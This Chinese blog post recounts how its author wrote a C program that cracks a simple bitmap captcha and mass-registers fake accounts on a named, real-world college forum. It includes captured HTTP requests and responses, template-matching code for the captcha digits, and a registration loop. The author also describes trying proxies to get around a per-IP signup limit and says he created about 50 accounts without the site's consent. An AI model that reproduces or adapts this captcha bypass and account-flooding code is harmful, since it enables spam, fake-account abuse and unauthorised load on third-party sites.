网页注册机运行成功了!!!那个激动啊!!(VC下纯C代码) 记下我编写注册机的全过程

最近在学HTTP协议,发现我可以写一个程序,模拟用户的注册啊,发帖子之类的程序!! 上网搜了搜,原来这种程序叫网页注册机.可以疯狂地自注册用户,也可以疯狂发广告贴等,都是用程序直接完成的.其实本质就是模似浏览器提交注册的过程.

好,我就去写吧,我发现这注册机这玩意最难的就是怎么破解验证码的问题.算了,菜鸟就找个没有验证码的网站吧! 于是我瞄上了我们学校的论坛,看到注册时是不用验证码的,好吧就你了!(后来发现这论坛真让人蛋疼) . 学校论坛是用PHP写的.抓包分析我注册时的数据包,然后模拟这次的注册过程,但最后失败!!!最后发现是要与cookie里的资料相关的.看它都给我发了什么鬼玩意的COOKIE:

Set-Cookie: nP6q_2132_sid=33GRgH; expires=Wed, 09-May-2012 12:55:47 GMT; path=/
Set-Cookie: nP6q_2132_lastact=1336481747%09member.php%09register; expires=Wed, 09-May-2012 12:55:47 GMT; path=/
Set-Cookie: nP6q_2132_cloudstatpost=deleted; expires=Mon, 09-May-2011 12:55:46 GMT; path=/
Set-Cookie: nP6q_2132_sid=33GRgH; expires=Wed, 09-May-2012 12:55:47 GMT; path=/

还有一大堆,分析了这COOKIE很久,改了很多KEY值,还是不行,说我来路不明或表单错误. 我禁了COOKIE用浏览器注册也是这样的错误.搞不懂这COOKIE,而且这论坛同一IP3小时内只能注册一个用户!!太坑爹了,本想用代理搞定,但用了代理还是说我3小时后再注册吧,我当时就哭了,我跪下了不弄你了可以了吧!!



经过第一次失败之后热情退去了不少,但我还是坚持了下来,找找其他学校的论坛看看吧~~~于是我来到了华南理工大学的论坛,他娘的有十分变态的验证码和验证问答

网页注册机运行成功了!!!那个激动啊!!(VC下纯C代码) 记下我编写注册机的全过程_第1张图片

算了,这些不是人类能弄的.工科院校的这么牛B,找个文科院校的吧!!于是我找到了广东某学院的论坛,是ASP写的,论坛十分冷清,都在开始叫卖了,我从whois上看到这域名2013才到期.


再看他注册页面时的验证码:

这验证码太简单了,可以下手.


抓包分析验证码文件,下载下来是code.asp文件,改成BMP文件后就看到了,用WINHEX打开后研究了好久BMP文件的二进制代码是怎么弄的

网页注册机运行成功了!!!那个激动啊!!(VC下纯C代码) 记下我编写注册机的全过程_第2张图片

最后发现,从0-53(十进制) 是BMP文件头,54以下是图片内容,每三个字节为一个像素,那验证码的位图文件是40*10的,图片内容是 从54到1253,每个数字点用300字节.而且图像表示是从最后一行开始的.了解了这些后,就好容易破解了.

当收到验证码图片后,再对其进行去色,变成黑白色.


之后对其化简,因为每3个字节表示一个像素,所我就用一个二维数组存储,把3个字节变成1个字节的0101来表示.

typedef struct number{

char num[10][10];
}NUM;

然后再写一程序取得从0-9的数字10*10的表示:

 //0
 1,0,0,0,0,1,1,1,1,1,
 0,1,1,1,1,0,1,1,1,1,
 0,1,1,1,1,0,1,1,1,1,
 0,1,1,1,1,0,1,1,1,1,
 0,1,1,1,1,0,1,1,1,1,
 0,1,1,1,1,0,1,1,1,1,
 0,1,1,1,1,0,1,1,1,1,
 0,1,1,1,1,0,1,1,1,1,
 0,1,1,1,1,0,1,1,1,1,
 1,0,0,0,0,1,1,1,1,1,
 //1
 1,1,0,1,1,1,1,1,1,1,
 0,0,0,1,1,1,1,1,1,1,
 1,1,0,1,1,1,1,1,1,1,
 1,1,0,1,1,1,1,1,1,1,
 1,1,0,1,1,1,1,1,1,1,
 1,1,0,1,1,1,1,1,1,1,
 1,1,0,1,1,1,1,1,1,1,
 1,1,0,1,1,1,1,1,1,1,
 1,1,0,1,1,1,1,1,1,1,
 0,0,0,0,0,1,1,1,1,1,
 //2
 1,0,0,0,0,1,1,1,1,1,
 0,1,1,1,1,0,1,1,1,1,
 1,1,1,1,1,0,1,1,1,1,
 1,1,1,1,1,0,1,1,1,1,
 1,1,1,1,0,1,1,1,1,1,
 1,1,1,0,1,1,1,1,1,1,
 1,1,0,1,1,1,1,1,1,1,
 1,0,1,1,1,1,1,1,1,1,
 0,1,1,1,1,1,1,1,1,1,
 0,0,0,0,0,0,1,1,1,1,
 ................下面还有略


把取得的验证码图片转换成上面的格式,再进行对比,就知道对应的验证码的数字了.基本代码如下:

[cpp]  view plain copy
  1. void getCode( char *buff,int recvSize){  
  2.       
  3.     unsigned char *p,*pNum,*pBase;  
  4.     int board,flag=0,i,j;  
  5.     int h,l,n;//行,列,第几个数  
  6.     char mapbuff[40*10];  
  7.   
  8.     p = (unsigned char *)buff;  
  9.     //4e6一个回车为分界,后面内容为图像文件  
  10.     for(board=1 ; board<recvSize+1; board++){  
  11.         if( (*p=='4')  &&  (*(p+1)=='e')  && (*(p+2)=='6') && (*(p+3)==0x0d)  && (*(p+4)==0x0a) ){  
  12.             p = p+5;  
  13.             flag=1;  
  14.             break;  
  15.         }  
  16.         p++;  
  17.     }  
  18.   
  19.     if(!flag)  
  20.         return;  
  21.     //指向第一个数字的图像开始处  
  22.     pNum = p+54;   
  23.     pBase = pNum;  
  24.     for(i=54;i<recvSize ;i++){    //变成黑白图像  
  25.         if( *pNum == 0xEE)  
  26.             *pNum = 0xff;  
  27.         else  
  28.             *pNum = 0x0;  
  29.         pNum++;  
  30.     }  
  31.       
  32.     pNum = pBase;  
  33.     for(i=0 ;i<400 ;i++){    //简化图像,使之以1010表示,存放在mapbuff  
  34.         if( *pNum == 0xff)  
  35.             mapbuff[i] = 1;  
  36.         else  
  37.             mapbuff[i] = 0;  
  38.         pNum +=3;  
  39.   
  40.     }  
  41.     for(i=0;i<400 ;i++){    //把数字放入dealNum  
  42.         n = i%40/10;    //第几个  
  43.         l = i%40%10;    //第几列  
  44.         h = 9- i/40;    //第几行  
  45.         dealNum[n].num[h][l] = mapbuff[i];  
  46.     }  
  47.   
  48.     for(i=0;i<4;i++){  
  49.         for(j=0;j<10;j++){  
  50.             if( check( &dealNum[i], &wu[j])  ){  
  51.                 securityCode[i] = j;        //保存破解了的验证码(最终成果然)  
  52.                 break;  
  53.             }  
  54.         }  
  55.     }  
  56.     /* 
  57.     FILE *fp; 
  58.     fp = fopen("d:/1.bmp","wb"); 
  59.     fwrite(p,1,recvSize-board-4-7,fp); 
  60.     fclose(fp); 
  61.     */    
  62. }  

测试了一下果然正确.


搞定了这个验证码,其他的也没什么难的了,用浏览器注册一个帐号,用抓包工具把包抓下来,大致的请求头如下:


请求注册页面:

GET /reg.asp?action=agree HTTP/1.1
Host: 和谐不给看.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: zym6kbbs1=styleid=freshblue; tempcontent=; AJSTAT_ok_pages=4; AJSTAT_ok_times=3

服务器回应:

HTTP/1.1 200 OK
Cache-Control: private
Date: Wed, 09 May 2012 15:46:58 GMT
Content-Length: 4521
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: 
ASPSESSIONIDSQARAQDC=INLPKMDBMJEMKDNDFILPEHJM; path=/

.....后面一大堆网页HTML代码....


可以看到,这个时候服务器给我一个SESSIONID: "ASPSESSIONIDSQARAQDC=INLPKMDBMJEMKDNDFILPEHJM"  这时把SESSIONID保存下来.

然后发送取得验证码请求:


GET /code.asp HTTP/1.1
Host: 和谐不给看.com
Connection: keep-alive
Referer: http://xhyes.com/reg.asp?action=agree
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: zym6kbbs1=styleid=freshblue; tempcontent=; AJSTAT_ok_pages=4; AJSTAT_ok_times=3;
ASPSESSIONIDSQARAQDC=INLPKMDBMJEMKDNDFILPEHJM

可以看到这时请求验证码时,要发送刚才服务器给我的sessionid,这样服务器就会把这个sessionid与将要返回的验证码绑定在一起.


服务器返回验证码位图图片:

HTTP/1.1 200 OK
Cache-Control: private
Date: Wed, 09 May 2012 15:46:58 GMT
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: image/BMP
Expires: Wed, 09 May 2012 15:45:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
cache-ctrol: no-cache


4e6
BM?      6   (   (   
         ?                ? ? ? ? 兕铑铑铑铑铑铑铑铑?K?K

......后面一大堆,略........


然后把取得的验证码图片用上面的方法破解,就取得验证码,同时把上面得到的sessionid写到注册的请求头的请求参数里:

[html]  view plain copy
  1. sprintf(postData,"name=helloworld%d&sex=1&password=123456&repassword=123456&email=sflsfsk@0sll.com&adminid=%d%d%d%d",nameNum, securityCode[0],securityCode[1],securityCode[2],securityCode[3]);                     


然后发把这些东西发送给服务器,就注册成功了!!!

POST /reg.asp?action=save HTTP/1.1
Host: xhyes.com
Connection: keep-alive
Referer: http://xhyes.com/reg.asp?action=agree
Content-Length: 165
Cache-Control: max-age=0
Origin: http://xhyes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: zym6kbbs1=styleid=freshblue; tempcontent=; ASPSESSIONIDSQARAQDC=INLPKMDBMJEMKDNDFILPEHJM; AJSTAT_ok_pages=5; AJSTAT_ok_times=3


name=helloworld1001&sex=1&password=123456&repassword=123456&[email protected]&adminid=1036


服务器返回注册成功信息:

HTTP/1.1 200 OK
Cache-Control: private
Date: Wed, 09 May 2012 15:48:04 GMT
Content-Length: 2006
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

....一大堆....

其中后面有这样信息:

 "注 册 成 功</div><div class=infobody>恭喜你!<b>helloworld1001</b> 注册成功。<br>·<a href=lo............"


成功了!!


下面是主程序块:

[cpp]  view plain copy
  1. <span style="white-space:pre">    </span>//开始不断注册了嘿嘿~~  
  2.     for( i =0; lichking <REGNUM; i++,nameNum++){  
  3.         sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  
  4.         connect(sock,(SOCKADDR*)&desAddr,len);  
  5.         //请求注册页面,取得sessionID  
  6.         initPage();  
  7.         makeHttpPageHDR();  
  8.         send(sock,sendBuff,strlen(sendBuff),0);   
  9.         size = recv(sock,recvBuff,sizeof(recvBuff),0);  
  10.         getSessionID(recvBuff,size);  //取得SESSIONID  
  11.         closesocket(sock);  
  12.   
  13.         //构造验证码响应头  
  14.         initCode();  
  15.         makeHttpCodeHDR();  
  16.         sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  
  17.         connect(sock,(SOCKADDR*)&desAddr,len);  
  18.         //开始破解验证码  
  19.         send(sock,sendBuff,strlen(sendBuff),0);    //发送验证码图片请求  
  20.         size = recv(sock,recvBuff,sizeof(recvBuff),0);  
  21.         closesocket(sock);  
  22.           
  23.         getCode(recvBuff,size);   //取得验证码  
  24.         printf("%s\n",sessionID);  
  25.         //printf("%s\n",recvBuff);  
  26.         printf("%d %d %d %d\n",securityCode[0],securityCode[1],securityCode[2],securityCode[3]);  
  27.   
  28.             //开始注册了  
  29.         Sleep(1000);  
  30.         sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  
  31.         connect(sock,(SOCKADDR*)&desAddr,len);  
  32.         int error = GetLastError();  
  33.         initReg();    
  34.         makeHttpRegHDR();  
  35.         send(sock,sendBuff,strlen(sendBuff),0);    //发送注册请求  
  36.         send(sock,reg.string[0],strlen(reg.string[0]),0);  
  37.         size = recv(sock,recvBuff,sizeof(recvBuff),0);  
  38.         closesocket(sock);  
  39.         Sleep(500);     
  40.     }  





以上就是程序的原理,来看看程序的效果!!

网页注册机运行成功了!!!那个激动啊!!(VC下纯C代码) 记下我编写注册机的全过程_第3张图片

那一堆字母是sessionID,那四个数字是破解出来的验证码.



这是网站的会员数量统计:当时人数是1018位.还有管理员的那个公告,我觉得其实是因为我才发的,因为我昨天就是9号时弄那网站的,哈哈~~





这个是我做了测试后的会员数,由于我只是出于学习的目的,加上我做测试时所注册的,我只注册了大约50个帐号.如果我想的话,注册1000个10000个也没问题~~但这网站反应好慢,可能要比较久的时间,我猜用的数据库是access吧.

网页注册机运行成功了!!!那个激动啊!!(VC下纯C代码) 记下我编写注册机的全过程_第4张图片

公告:

网页注册机运行成功了!!!那个激动啊!!(VC下纯C代码) 记下我编写注册机的全过程_第5张图片


最后的成功,十分感谢谷歌,必应,我感到十分高兴,真的好久没这么高兴了!!!哈哈哈

可以说这个程序是我写这么多没用的程序后第一个有一定价值的东西了(我自认为的)!!! 你说能不高兴吗?!能不激动吗??

但我的水平只能弄弄那些ASP的小站,其他的无法弄啊~同时也题醒我以后编程也要注意安全的问题.


完了~~~~



你可能感兴趣的:(c,windows,Stream,服务器,Path,破解)